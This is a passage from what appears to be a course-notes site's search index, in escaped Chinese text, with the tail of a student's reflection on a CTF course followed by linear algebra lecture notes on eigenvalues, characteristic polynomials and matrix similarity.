u9e23\uff0c\u4f46\u662f\u7531\u4e8e\u4e00\u5f00\u59cb\u6ca1\u6ce8\u610f\u5230\u4f7f\u7528\u7684python\u7248\u672c\u5bfc\u81f4\u53ea\u80fd\u8dd1\u51fa\u6765\u4e00\u4e2a\u7740\u5b9e\u6709\u70b9\u9ad8\u8840\u538b\u3002Misc\u4e13\u9898\u4e8c\u662f\u533a\u5757\u94fe\u548c\u4ee5\u592a\u574a\uff0c\u5168\u65b0\u7684\u7684\u9886\u57df\uff0c\u4e5f\u662f\u6709\u70b9\u597d\u73a9\u7684\uff0c\u4f46\u662f\u638c\u63e1\u53ef\u80fd\u6ca1\u8fd9\u4e48\u5feb\uff0c\u540e\u9762\u53ef\u80fd\u8fd8\u4f1a\u518d\u770b\u770b\u5427</p> <p>Crypto\u53ea\u6709lab0\u548c\u7ef4\u5409\u5c3c\u4e9a\u5bc6\u7801\u662f\u987a\u7545\u505a\u4e0b\u53bb\u7684\uff0cHSC\u7ebf\u4ee3\u7684\u65b9\u9762\u6ca1\u62d0\u8fc7\u5f2f\u6765\uff0c\u4e13\u9898\u4e8c\u66f4\u662f\u6298\u78e8\u4e2d\u7684\u6298\u78e8\uff0c\u4e0d\u8fc7\u597d\u5728\u4eca\u5929\u603b\u7b97\u662f\u505a\u5b8c\u4e86\u3002</p> <p>\u867d\u7136\u603b\u662f\u548c\u540c\u5b66\u5410\u69fd\u540e\u6094\u4e0d\u9009matlab\u90a3\u4e2a\u6c34\u6c34\u7684\uff0c\u4f46\u662fCTF101\u7684\u7684\u786e\u786e\u8ba9\u6211\u5b66\u5230\u5f88\u591a\u7684\u4e1c\u897f\uff0c \u4f46\u5c31\u505a\u9898\u8fc7\u7a0b\u4e2d\u5b66\u4f1a\u7684python\u5404\u79cd\u5e93\u7684\u9a9a\u64cd\u4f5c\u5c31\u591f\u5f00\u4e00\u95e8\u8bfe\u7684\u611f\u89c9\u2026\u2026\u4e5f\u8ba9\u6211\u76f4\u89c2\u7684\u611f\u53d7\u5230\u8ba1\u7b97\u673a\u8fd9\u4e2a\u4e13\u4e1a\u8fd8\u6709\u90a3\u4e48\u591a\uff0c\u90a3\u4e48\u5e7f\u7684\uff0c\u90a3\u4e48\u6df1\u7684\u9886\u57df\u6211\u4ece\u672a\u6d89\u8db3\u3002\u867d\u7136\u7d2f\u5427\uff0c\u4f46\u603b\u4e4b\u53d7\u76ca\u532a\u6d45\u3002</p> <p>\u5b8c\u7ed3\u6492\u82b1~</p>"},{"location":"NOTE/LA/eigenvalue/","title":"\u8bb2\u4e49-\u7279\u5f81\u503c\u4e13\u9898","text":"<p> \u7ea6 8170 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 28 \u5206\u949f</p> <p>\u53c2\u8003\u4e66\u76ee\uff1a\u300a\u7ebf\u6027\u4ee3\u6570:\u672a\u7adf\u4e4b\u7f8e\u300b</p> <p>\u672c\u8bb2\u4e49\u7528\u4e8e\u7afa\u53ef\u6862\u5b66\u9662\u7ebf\u6027\u4ee3\u6570\u7ebf\u4e0a\u8f85\u5b66\u8bfe\u7a0b\uff0c\u5948\u4f55\u672c\u4eba\u6c34\u5e73\u6709\u9650\uff0c\u6709\u4e9b\u5730\u65b9\u5728\u8bfe\u7a0b\u4e2d\u53ef\u80fd\u8868\u8ff0\u4e0d\u6e05\u6670\uff0c\u8fd8\u8bf7\u591a\u591a\u5305\u6db5\u3002</p>"},{"location":"NOTE/LA/eigenvalue/#_1","title":"\u5f15\u5165","text":"<p>Quote</p> <p>\u7ebf\u6027\u4ee3\u6570\u7684\u4e00\u5927\u76ee\u6807\u662f:\u6211\u4eec\u5e0c\u671b\u627e\u5230\u51fa\u53d1\u7a7a\u95f4\u548c\u5230\u8fbe\u7a7a\u95f4\u5408\u9002\u7684\u57fa\u4f7f\u5f97\u7ebf\u6027\u6620\u5c04\u5728\u8fd9\u4e24\u7ec4\u57fa\u4e0b\u7684\u8868\u793a\u66f4\u7b80\u5355(\u5c3d\u53ef\u80fd\u591a\u7684\u96f6,\u5c3d\u91cf\u5411\u5bf9\u89d2\u77e9\u9635\u9760\u8fd1).\u6211\u4eec\u5c06\u773c\u5149\u653e\u5728\u7ebf\u6027\u53d8\u6362\uff0c\u5373\u51fa\u53d1\u7a7a\u95f4\u548c\u5230\u8fbe\u7a7a\u95f4\u76f8\u540c\u7684\u7ebf\u6027\u6620\u5c04\uff0c\u5e76\u4e14\u6211\u4eec\u5173\u6ce8 \u51fa\u53d1\u7a7a\u95f4\u4e0e\u5230\u8fbe\u7a7a\u95f4\u53d6\u540c\u4e00\u7ec4\u57fa\u7684\u65f6\u5019\uff0c\u5982\u4f55\u53d6\u57fa\uff0c\u53ef\u4ee5\u628a\u540c\u4e00\u4e2a\u7ebf\u6027\u6620\u5c04\u7684\u77e9\u9635\u5c3d\u53ef\u80fd\u8868\u793a\u5f97\u7b80\u5355 \uff1b</p> <p>\u57fa\u7684\u8f6c\u6362&lt;-&gt;\u77e9\u9635\u7684\u8f6c\u6362</p> <p>\u4ece\u77e9\u9635\u5728\u4e0d\u540c\u57fa\u4e0b\u7684\u7684\u8868\u793a\u51fa\u53d1</p> <p>\u5047\u8bbe\u6211\u4eec\u6709\u4e00\u4e2a\u5728 \\(n\\) \u7ef4\u7ebf\u6027\u7a7a\u95f4 \\(\\mathbf{V}\\) \u4e0a\u7ebf\u6027\u53d8\u6362 \\(\\sigma\\) ,\u5176\u5728\u57fa \\(\\mathbf{B}=\\{\\varepsilon_1,\\varepsilon_2,\\ldots,\\varepsilon_n\\}\\) (\\(\\mathbf{B}\\) \u7684\u6bcf\u4e2a\u5217\u5411\u91cf\u662f\u90fd\u662f\u4e00\u4e2a\u57fa)\u4e0b\u7684\u77e9\u9635\u4e3a \\(A\\),\u5373</p> \\[     \\sigma (\\varepsilon_1,\\varepsilon_2,\\ldots,\\varepsilon_n) = (\\varepsilon_1,\\varepsilon_2,\\ldots,\\varepsilon_n)A \\] <p>\u5047\u8bbe\u6211\u4eec\u5f88\u5e78\u8fd0,\u627e\u5230\u4e86\u53e6\u5916\u4e00\u7ec4\u57fa \\(\\mathbf{B'}=\\{\\varepsilon_1',\\varepsilon_2',\\ldots,\\varepsilon_n'\\}\\),\u5e76\u4e14\u5df2\u77e5\u8fd9\u4e2a\u7ebf\u6027\u6620\u5c04\u5728\u8fd9\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\u5f88\u6f02\u4eae,\u662f\u5bf9\u89d2\u7684\\(\\Lambda\\),\u5373</p> \\[     \\sigma (\\varepsilon_1',\\varepsilon_2',\\ldots,\\varepsilon_n') = (\\varepsilon_1',\\varepsilon_2',\\ldots,\\varepsilon_n') \\Lambda \\] <p>\u5982\u679c\u53c8\u6070\u597d\u77e5\u9053\u4e24\u7ec4\u57fa\u4e4b\u95f4\u7684\u8fc7\u6e21\u77e9\u9635</p> \\[ \\{\\varepsilon_1',\\varepsilon_2',\\ldots,\\varepsilon_n'\\} = \\{ \\varepsilon_1,\\varepsilon_2,\\ldots,\\varepsilon_n \\} P \\] <p>\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u63a8\u5bfc\u51fa</p> \\[      A P = P \\Lambda \\tag{1} \\] \\[     P^{-1} A P = \\Lambda \\] <p>\\(P\\)\u4e3a\u4ec0\u4e48\u4e00\u5b9a\u53ef\u9006\uff1f(\u57fa\u4e4b\u95f4\u7684\u4e92\u76f8\u8868\u793a)</p> <p>\u7ee7\u7eed\u7531\u4e0a\u9762\u7684\u5f0f\u5b50(1)\uff0c\u6211\u4eec\u5c55\u5f00,\\(p_i\\)\u4e3a\u77e9\u9635\\(P\\)\u7684\u7b2c\\(i\\)\u4e2a\u5217\u5411\u91cf</p> \\[     A P = A ( p_1, p_2,\\ldots,p_n ) = ( p_1, p_2,\\ldots,p_n )\\begin{pmatrix}                 \\lambda_1 &amp; 0 &amp; 0 &amp; \\cdots &amp; 0 \\\\                 0 &amp; \\lambda_2 &amp; 0 &amp; \\cdots &amp; 0 \\\\                 0 &amp; 0 &amp; \\lambda_3 &amp; \\cdots &amp; 0 \\\\                 \\vdots &amp; \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\                 0 &amp; 0 &amp; 0 &amp; \\cdots &amp; \\lambda_n                 \\end{pmatrix} \\] <p>\u5c55\u5f00\u5bf9\u5e94\u76f8\u7b49</p> \\[     Ap_i = \\lambda_i p_i \\] <p>Key-point</p> <p>\u8fd9\u4e00\u8fc7\u7a0b\u7ed9\u6211\u4eec\u7684\u542f\u53d1\u662f\uff0c\u5982\u679c\u6211\u4eec\u77e5\u9053\\(A\\)\u53ef\u4ee5\u8fbe\u5230\u7684\u5bf9\u89d2\u5316\u7684\u77e9\u9635\u662f\u600e\u4e48\u6837\u7684,\u90a3\u4e48\u53ef\u4ee5\u9006\u63a8\u51fa\u53d8\u6362\u77e9\u9635,\u4ece\u800c\u627e\u51fa\u8fd9\u7ec4\u57fa\u662f\u600e\u4e48\u6837\u7684;\u4e0a\u9762\u7684\\(\\lambda_i\\),\u4e0e\\(p_i\\)\u5c31\u662f\u6211\u4eec\u4eca\u5929\u8981\u8ba8\u8bba\u7684\u7279\u5f81\u503c\u4e0e\u7279\u5f81\u5411\u91cf\uff0c\u5982\u4f55\u5bfb\u627e\u5b83\u4eec\u5c31\u662f\u6211\u4eec\u4eca\u5929\u7684\u91cd\u70b9\uff1b</p>"},{"location":"NOTE/LA/eigenvalue/#_2","title":"\u7279\u5f81\u503c\u4e0e\u7279\u5f81\u5411\u91cf","text":""},{"location":"NOTE/LA/eigenvalue/#_3","title":"\u5b9a\u4e49","text":"<p>Definition</p> <p>\u8bbe\\(\\sigma\\)\u662f\u7ebf\u6027\u7a7a\u95f4\\(V(\\mathbf{F})\\)\u4e0a\u7684\u4e00\u4e2a\u7ebf\u6027\u53d8\u6362\uff0c\u5982\u679c\u5b58\u5728\u6570\\(\\lambda\\in\\mathbf{F}\\)\u548c\u975e\u96f6\u5411\u91cf\\(\\xi\\in V\\)\u4f7f\u5f97\\(\\sigma(\\xi)=\\lambda\\xi\\)\uff0c\u5219\u79f0\u6570\\(\\lambda\\)\u4e3a\\(\\sigma\\)\u7684\u4e00\u4e2a\u7279\u5f81\u503c\uff0c\u5e76\u79f0\u975e\u96f6\u5411\u91cf\\(\\xi\\)\u4e3a\\(\\sigma\\)\u5c5e\u4e8e\u5176\u7279\u5f81\u503c\\(\\lambda\\)\u7684\u7279\u5f81\u5411\u91cf</p> <p>\u540c\u6784\u5730\uff0c\u5bf9\u4e8e\u77e9\u9635\u800c\u8a00\uff0c\u6709:</p> <p>\u8bbe\u77e9\u9635\\(A\\in \\mathbf{M}_n(\\mathbf{F})\\)\uff0c\u5982\u679c\u5b58\u5728\u6570\\(\\lambda\\in\\mathbf{F}\\)\u548c\u975e\u96f6\u5411\u91cf\\(X\\in\\mathbf{F}^n\\)\u4f7f\u5f97\\(AX=\\lambda X\\)\uff0c\u5219\u79f0\u6570\\(\\lambda\\)\u4e3a\\(A\\)\u7684\u4e00\u4e2a\u7279\u5f81\u503c\uff0c\u79f0\u975e\u96f6\u5411\u91cf\\(X\\)\u4e3a\\(A\\)\u5c5e\u4e8e\u5176\u7279\u5f81\u503c\\(\\lambda\\)\u7684\u7279\u5f81\u5411\u91cf.</p> <p>Property</p> <p>\u8bbe \\(\\sigma\\) \u662f \\(V(\\mathbf{F})\\) \u4e0a\u7684\u7ebf\u6027\u53d8\u6362\uff0c\\(I\\) \u4e3a\u6052\u7b49\u6620\u5c04\uff0c\u5219\u4e0b\u8ff0\u6761\u4ef6\u7b49\u4ef7\uff1a</p> <ol> <li>\\(\\lambda \\in \\mathbf{F}\\) \u662f \\(\\sigma\\) \u7684\u7279\u5f81\u503c\uff1b</li> <li>\\(\\sigma - \\lambda I\\) \u4e0d\u662f\u5355\u5c04 \\(\\Leftrightarrow\\) \\(A-\\lambda E\\) \u5217\u4e0d\u6ee1\u79e9\uff1b</li> <li>\\(\\sigma - \\lambda I\\) \u4e0d\u662f\u6ee1\u5c04 \\(\\Leftrightarrow\\) \\(A-\\lambda E\\) \u884c\u4e0d\u6ee1\u79e9\uff1b</li> <li>\\(\\sigma - \\lambda I\\) \u4e0d\u53ef\u9006  \\(\\Leftrightarrow\\) \\(A-\\lambda E\\) \u4e0d\u53ef\u9006(\u884c\u5217\u5f0f\u4e3a0)</li> </ol> <p>\u5bf9\u4e8e\u7b2c\u4e8c\u7b2c\u4e09\u6761\u7684\u77e9\u9635\u7248\u672c\u6709\u7591\u95ee\u7684\u540c\u5b66\u53ef\u4ee5\u56de\u987e LALU \u76f8\u62b5\u6807\u51c6\u578b\u4e00\u8282\u7ed9\u51fa\u7684\u5b9a\u7406:</p> <p>\u7ebf\u6027\u6620\u5c04\u662f\u5355\u5c04\u5f53\u4e14\u4ec5\u5f53\u5176\u77e9\u9635\u8868\u793a\u4e3a\u5217\u6ee1\u79e9\u77e9\u9635,\u7ebf\u6027\u6620\u5c04\u662f\u6ee1\u5c04\u5f53\u4e14\u4ec5\u5f53\u5176\u77e9\u9635\u8868\u793a\u4e3a\u884c\u6ee1\u79e9\u77e9\u9635.</p>"},{"location":"NOTE/LA/eigenvalue/#_4","title":"\u7279\u5f81\u591a\u9879\u5f0f","text":"<p>\u7531\u4e0a\u8ff0\u6027\u8d28\uff0c\\(\\lambda\\in\\mathbf{F}\\)\u662f\\(\\sigma\\)\u7684\u7279\u5f81\u503c\u7b49\u4ef7\u4e8e\\(|\\lambda E-A|=0\\)\uff0c\u6545\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\\(|\\lambda E-A|=0\\)\u6c42\u89e3\u7279\u5f81\u503c\uff0c\u5176\u4e2d\\(A\\)\u4e3a\\(\\sigma\\)\u5728\u67d0\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\uff0c\\(E\\)\u4e3a\u5355\u4f4d\u77e9\u9635. \u5bf9\u4e8e\u7279\u5f81\u5411\u91cf\u7684\u6c42\u89e3\uff0c\u6c42\u51fa\\((\\lambda E-A)X=0\\)\u7684\u975e\u96f6\u89e3\u5c31\u662f\u7279\u5f81\u5411\u91cf\u5728\u57fa\\(\\alpha_1,\\ldots,\\alpha_n\\)\u4e0b\u7684\u5750\u6807\uff0c\u5982\u679c\u662f\u77e9\u9635\u7684\u7279\u5f81\u5411\u91cf\uff0c\u90a3\u4e48\\(X\\)\u5c31\u662f\u89e3.</p> <p>\u4e0a\u8ff0\u6c42\u89e3\u7279\u5f81\u5411\u91cf\u7684\u65b9\u6cd5\u9700\u8981\u6211\u4eec\u6c42\u89e3\\(f(\\lambda)=|\\lambda E-A|\\)\u7684\u6839\uff0c\u6211\u4eec\u5c06\\(f(\\lambda)\\)\u79f0\u4e3a\u7279\u5f81\u591a\u9879\u5f0f\uff1b</p> <p>Example</p> <p>\u8bbe\\(A=\\begin{pmatrix}      1 &amp; -1 &amp; 0 \\\\ 2 &amp; 0 &amp; 1 \\\\ 1 &amp; a &amp; 0  \\end{pmatrix}\\)\uff0c\u4e14\u5b58\u5728\u975e\u96f6\u5411\u91cf\\(\\alpha\\)\u4f7f\u5f97\\(A\\alpha=2\\alpha\\)\uff0c\u6c42\\(a\\).</p> Answer <p>\u7531\u9898\u610f\u77e52\u662f\u77e9\u9635\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\u56e0\u6b64\u6211\u4eec\u6709</p> \\[|2E-A|=\\begin{vmatrix}        1 &amp; 1 &amp; 0 \\\\ -2 &amp; 2 &amp; -1 \\\\ -1 &amp; -a &amp; 2    \\end{vmatrix}=9-a=0 \\] <p>\u56e0\u6b64\\(a=9\\).</p> <p>\u7279\u5f81\u591a\u9879\u5f0f\u53ef\u4ee5\u5199\u4e3a\u4ee5\u4e0b\u7684\u5f62\u5f0f</p> <p>\u5bf9\u4e8e\\(n\\)\u7ea7\u77e9\u9635\\(A=(a_{ij})\\)\uff0c\u8bb0</p> \\[f(\\lambda)=|\\lambda E-A|=a_0\\lambda^n+a_1\\lambda^{n-1}+\\cdots+a_{n-1}\\lambda+a_n\\] <p>\u5219\\(a_0=1\\)\uff0c\\(a_1=-\\mathbf{tr}(A)\\) \uff0c\\(a_n=(-1)^n|A|\\) \uff0c\u4e14\\(a_k\\)\u7b49\u4e8e\u6240\u6709\\(k\\)\u7ea7\u4e3b\u5b50\u5f0f\u4e4b\u548c\u4e58\u4ee5\\((-1)^k\\).</p> <p>\u7531\u97e6\u8fbe\u5b9a\u7406</p> \u4e00\u5143n\u6b21\u97e6\u8fbe\u5b9a\u7406 <p>\u8bbe\u65b9\u7a0b \\( a_0 x^n + a_{1} x^{n-1} + \\cdots + a_{n-1} x + a_n = 0 \\) \u6709\u6839 \\( x_1, x_2, \\ldots, x_n \\). \u90a3\u4e48:</p> <ul> <li>\u5404\u6839\u4e4b\u548c:</li> </ul> \\[ x_1 + x_2 + \\cdots + x_n = \\sum_{i=1}^{n} x_i = -\\frac{a_{1}}{a_0} \\] <ul> <li>\u5404\u6839\u4e4b\u79ef:</li> </ul> \\[ x_1 x_2 \\cdots x_n = \\prod_{i=1}^{n} x_i = (-1)^n \\frac{a_n}{a_0} \\] <ul> <li> <p>\\(\\displaystyle\\sum_{i=1}^{n}\\lambda_i=\\sum_{i=1}^{n}a_{ii}\\)\uff1b</p> </li> <li> <p>\\(\\displaystyle\\prod_{i=1}^{n}\\lambda_i=|A|\\). </p> </li> </ul>"},{"location":"NOTE/LA/eigenvalue/#_5","title":"\u76f8\u4f3c\u4e0e\u7279\u5f81\u591a\u9879\u5f0f","text":"<p>Question</p> <ul> <li>\u76f8\u4f3c\u77e9\u9635\u6709\u76f8\u540c\u7684\u7279\u5f81\u591a\u9879\u5f0f?\uff08\u4ece\u800c\u6709\u76f8\u540c\u7684\u8ff9\uff0c\u884c\u5217\u5f0f\uff0c\u7279\u5f81\u503c;\uff09\uff0c\u5373\\(A\\sim B\\)\u6709\\(|\\lambda E-A|=|\\lambda E-B|\\)\u5417\uff1f\u53cd\u8fc7\u6765\u5462\uff1f</li> </ul> Answer <p>\u8bbe\\(B=P^{-1}AP\\)\uff0c\u5219\\(|\\lambda E-B|=|\\lambda E-P^{-1}AP|=|P^{-1}(\\lambda E-A)P|=|P^{-1}||\\lambda E-A||P|=|\\lambda E-A|\\). \u56e0\u6b64\\(A\\sim B\\)\u6709\\(|\\lambda E-A|=|\\lambda E-B|\\).</p> <p>\u6211\u4eec\u77e5\u9053\u7279\u5f81\u591a\u9879\u5f0f\u76f8\u540c\u5219\u7279\u5f81\u503c\u76f8\u540c\uff0c\u8ff9\u7b49\u4e8e\u6240\u6709\u7279\u5f81\u503c\u4e4b\u548c\uff0c\u884c\u5217\u5f0f\u7b49\u4e8e\u6240\u6709\u7279\u5f81\u503c\u4e4b\u79ef\uff0c\u56e0\u6b64\u76f8\u4f3c\u77e9\u9635\u6709\u76f8\u540c\u7684\u8ff9\uff0c\u884c\u5217\u5f0f\uff0c\u7279\u5f81\u503c.</p> <ul> <li>\u5982\u679c\u662f\uff0c\u90a3\u4e48\u540c\u4e00\u7279\u5f81\u503c\u7684\u7279\u5f81\u5411\u91cf\u4e4b\u95f4\u6709\u4ec0\u4e48\u5173\u7cfb\uff1f</li> </ul> Answer <p>\u8bbe\\(P^{-1}AP=B\\)\uff0c\u5219\\(A,B\\)\u5206\u522b\u5c5e\u4e8e\u540c\u4e00\u7279\u5f81\u503c\\(\\lambda\\)\u7684\u7279\u5f81\u5411\u91cf\\(X\\)\u548c\\(Y\\)\u6ee1\u8db3\\(Y=P^{-1}X\\).</p> <p>\u7531\\(AX=\\lambda_0 X\\)\u4ee5\u53ca\\(A=PBP^{-1}\\)\uff0c\u6211\u4eec\u6709\\(PBP^{-1}X=\\lambda_0 X\\)\uff0c\u5373\\(BP^{-1}X=\\lambda_0 P^{-1}X\\)\uff0c\u56e0\u6b64\\(P^{-1}X\\)\u662f\\(B\\)\u5c5e\u4e8e\\(\\lambda_0\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5373\\(P^{-1}X\\)\u662f\\(B\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5373\\(Y=P^{-1}X\\).</p> <p>\u56de\u5fc6\u57fa\u7684\u9009\u62e9\u5bfc\u81f4\u540c\u4e00\u5411\u91cf\u5728\u4e0d\u540c\u57fa\u4e0b\u7684\u5750\u6807\u8868\u793a,\u5b9e\u9645\u4e0a\u8fd9\u4e2a\u95ee\u9898\u5c31\u662f\u8be5\u5b9a\u7406\u7684\u63a8\u8bba;</p> \u540c\u4e00\u5411\u91cf\u5728\u4e0d\u540c\u57fa\u4e0b\u7684\u5750\u6807\u8868\u793a <p>\u8bbe\u7ebf\u6027\u7a7a\u95f4\\(V\\)\u7684\u4e24\u7ec4\u57fa\u4e3a\\(B_1\\)\u548c\\(B_2\\)\uff0c\u4e14\u57fa\\(B_1\\)\u5230\\(B_2\\)\u7684\u53d8\u6362\u77e9\u9635\uff08\u8fc7\u6e21\u77e9\u9635\uff09\u4e3a\\(A\\)\uff0c\u5982\u679c\\(\\xi \\in V(\\mathbf{F})\\)\u5728\\(B_1\\)\u548c\\(B_2\\)\u4e0b\u7684\u5750\u6807\u5206\u522b\u4e3a\\(X\\)\u548c\\(Y\\)\uff0c\u5219\\(Y=A^{-1}X\\).</p> \\[\\xi=(\\alpha_1,\\ldots,\\alpha_n)X=(\\beta_1,\\ldots,\\beta_n)Y.\\] <p>\u5c06\u8fc7\u6e21\u77e9\u9635\u7684\u6761\u4ef6\\(B_2=B_1A\\)\uff0c\u5373\\((\\beta_1,\\ldots,\\beta_n)=(\\alpha_1,\\ldots,\\alpha_n)A\\)\u4ee3\u5165\u4e0a\u5f0f\u53ef\u5f97\uff1a</p> \\[\\xi=(\\alpha_1,\\ldots,\\alpha_n)X=(\\alpha_1,\\ldots,\\alpha_n)AY.\\] <p>\u53c8\u7531\u4e8e\\(\\xi\\)\u5728\u7ebf\u6027\u65e0\u5173\u5411\u91cf\u7ec4\\(\\alpha_1,\\ldots,\\alpha_n\\)\u4e0b\u7684\u5750\u6807\u552f\u4e00\uff0c\u6545\u6211\u4eec\u6709\\(X=AY\\)\uff0c\u5373\\(Y=A^{-1}X\\).</p> <p>Example</p> <p>\u56de\u7b54\u4ee5\u4e0b\u4e24\u4e2a\u95ee\u9898\uff1a</p> <ol> <li> <p>\u8bbe \\(A,B\\) \u5747\u4e3a \\(n\\) \u9636\u77e9\u9635\uff0c\u8bc1\u660e\uff1a\\(\\lambda\\neq 0\\) \u662f \\(AB\\) \u7684\u7279\u5f81\u503c\uff0c\u5219 \\(\\lambda\\) \u4e5f\u662f \\(BA\\) \u7684\u7279\u5f81\u503c\uff1b</p> </li> <li> <p>\u8bbe \\(A\\in \\mathbf{M}_{m\\times n}(\\mathbf{C}),\\enspace B\\in \\mathbf{M}_{n\\times m}(\\mathbf{C})\\)\uff0c\u8bc1\u660e\uff1a</p> </li> </ol> \\[    \\begin{pmatrix}        AB &amp; O \\\\ B &amp; O    \\end{pmatrix} \\sim \\begin{pmatrix}        O &amp; O \\\\ B &amp; BA    \\end{pmatrix} \\] <p>\u5e76\u7531\u6b64\u63a8\u51fa \\(AB\\) \u548c \\(BA\\) \u975e\u96f6\u7279\u5f81\u503c\u76f8\u540c\uff0c\u4e14 \\(m=n\\) \u65f6\u6709 \\(|\\lambda E-AB|=|\\lambda E-BA|\\).</p> Proof <ol> <li>\u8bbe \\(X\\) \u662f \\(AB\\) \u5c5e\u4e8e \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u5219 \\(ABX=\\lambda X\\)\uff0c\u56e0\u6b64 \\(B(ABX)=B(\\lambda X)\\)\uff0c\u5373 \\((BA)(BX)=\\lambda(BX)\\)\uff0c\u56e0\u6b64 \\(BX\\) \u662f \\(BA\\) \u5c5e\u4e8e \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u6545 \\(\\lambda\\) \u4e5f\u662f \\(BA\\) \u7684\u7279\u5f81\u503c\u3002</li> </ol> <p>\u5b9e\u9645\u4e0a\u8fd9\u91cc\u8fd8\u6709\u4e00\u70b9\u9700\u8981\u8bf4\u660e\uff0c\u5c31\u662f \\(BX\\neq 0\\)\uff0c\u5426\u5219\u5b83\u5c06\u4e0d\u80fd\u4f5c\u4e3a\u7279\u5f81\u5411\u91cf\u3002\u4e8b\u5b9e\u4e0a\u8bc1\u660e\u662f\u7b80\u5355\u7684\uff0c\u5047\u8bbe \\(BX=0\\)\uff0c\u5219 \\(ABX=0\\)\uff0c\u7531\u4e8e \\(\\lambda\\neq 0\\)\uff0c\u56e0\u6b64\u5fc5\u7136\u6709 \\(X=0\\)\uff0c\u4f46\u8fd9\u4e0e \\(X\\) \u662f \\(AB\\) \u5c5e\u4e8e \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\u77db\u76fe\uff0c\u56e0\u6b64 \\(BX\\neq 0\\)\u3002</p> <ol> <li>\u6839\u636e\u5206\u5757\u77e9\u9635\u521d\u7b49\u53d8\u6362\u7684\u6027\u8d28\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e0d\u65ad\u5c1d\u8bd5\u9009\u53d6\u5230 \\(P=\\begin{pmatrix}      E_m &amp; A \\\\ O &amp; E_n    \\end{pmatrix}\\)\uff0c\u5176\u9006\u77e9\u9635\u4e3a \\(P^{-1}=\\begin{pmatrix}      E_m &amp; -A \\\\ O &amp; E_n  \\end{pmatrix}\\)\uff0c\u6211\u4eec\u53d1\u73b0\u6070\u6709</li> </ol> \\[     \\begin{pmatrix}         E_m &amp; -A \\\\ O &amp; E_n     \\end{pmatrix} \\begin{pmatrix}         AB &amp; O \\\\ B &amp; O     \\end{pmatrix} \\begin{pmatrix}         E_m &amp; A \\\\ O &amp; E_n     \\end{pmatrix} = \\begin{pmatrix}         O &amp; O \\\\ B &amp; BA     \\end{pmatrix}. \\] <p>\u56e0\u6b64 \\(\\begin{pmatrix}      AB &amp; O \\\\ B &amp; O  \\end{pmatrix}\\) \u4e0e \\(\\begin{pmatrix}      O &amp; O \\\\ B &amp; BA  \\end{pmatrix}\\) \u76f8\u4f3c\uff0c\u56e0\u6b64\u5b83\u4eec\u7684\u7279\u5f81\u591a\u9879\u5f0f\u76f8\u540c\uff0c\u5373</p> \\[  \\begin{vmatrix}      \\lambda E_m-AB &amp; O \\\\ -B &amp; \\lambda E_n  \\end{vmatrix} = \\begin{vmatrix}      \\lambda E_m &amp; O \\\\ -B &amp; \\lambda E_n-BA  \\end{vmatrix}. \\] <p>\u6839\u636e\u884c\u5217\u5f0f\u7684\u8ba1\u7b97\u6027\u8d28 \\(\\begin{vmatrix}      A &amp; O \\\\ C &amp; B  \\end{vmatrix} = |A||B|\\)\uff0c\u6211\u4eec\u6709</p> \\[  |\\lambda E_m-AB||\\lambda E_n| = |\\lambda E_m||\\lambda E_n-BA|, \\] <p>\u5373 \\(\\lambda^n|\\lambda E_m-AB| = \\lambda^m|\\lambda E_n-BA|\\)\uff0c\u56e0\u6b64 \\(AB\\) \u548c \\(BA\\) \u975e\u96f6\u7279\u5f81\u503c\u76f8\u540c\uff0c\u4e14 \\(m=n\\) \u65f6\u6709 \\(|\\lambda E-AB|=|\\lambda E-BA|\\).</p> <p>\u5bf9\u4e8e\u53ef\u9006\u77e9\u9635\\(P\\),\u6211\u4eec\u77e5\u9053\u4e86\\(A\\)\u4e0e\\(B=P^{-1}AP\\)\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c\uff0c\u5982\u679c\\(P\\)\u4e0d\u53ef\u9006\uff0c\u4e24\u4e2a\u77e9\u9635\u53c8\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f</p> <p>\u6211\u4eec\u6709\u4ee5\u4e0b\u7ed3\u8bba</p> <p>Property</p> <p>\u8bbe\\(A,B\\)\u5206\u522b\u4e3a\u6570\u57df\\(\\mathbf{F}\\)\u4e0a\\(n\\)\u9636\u3001\\(m\\)\u9636\u65b9\u9635\uff0c\\(A,B\\)\u6709\\(r\\)\u4e2a\u4e24\u4e24\u4e0d\u7b49\u7684\u516c\u5171\u7279\u5f81\u503c\uff0c\u5219\u77e9\u9635\u65b9\u7a0b\\(AX-XB=O\\)\u6709\u79e9\u4e3a\\(r\\)\u7684\u77e9\u9635\u89e3. \u53cd\u4e4b\uff0c\u82e5\u6570\u57df\u4e3a\u590d\u6570\u57df\uff0c\u77e9\u9635\u65b9\u7a0b\\(AX-XB=O\\)\u6709\u79e9\u4e3a\\(r\\)\u7684\u77e9\u9635\u89e3\uff0c\u5219\\(A,B\\)\u81f3\u5c11\u6709\\(r\\)\u4e2a\u516c\u5171\u7684\u7279\u5f81\u503c\uff08\u8ba1\u91cd\u6570\uff09.</p> <p>\u8bc1\u660e\u89c1 \u300aLALU\u300b.P465</p> <p>Example</p> <p>\u8bbe\\(m\\)\u9636\u77e9\u9635\\(A\\)\u4e0e\\(n\\)\u9636\u77e9\u9635\\(B\\)\u65e0\u516c\u5171\u590d\u7279\u5f81\u503c\uff0c\\(C\\)\u4e3a\\(m\\times n\\)\u77e9\u9635\uff0c\u5219\u77e9\u9635\u65b9\u7a0b\\(AX-XB=C\\)\u5b58\u5728\u552f\u4e00\u89e3.</p> Answer <p>\u8bbe\\(V\\)\u662f\u6240\u6709\\(m\\times n\\)\u77e9\u9635\u6784\u6210\u7684\u7ebf\u6027\u7a7a\u95f4\uff0c\u5b9a\u4e49\\(V\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362\\(\\sigma(X)=AX-XB,\\enspace X\\in V\\). 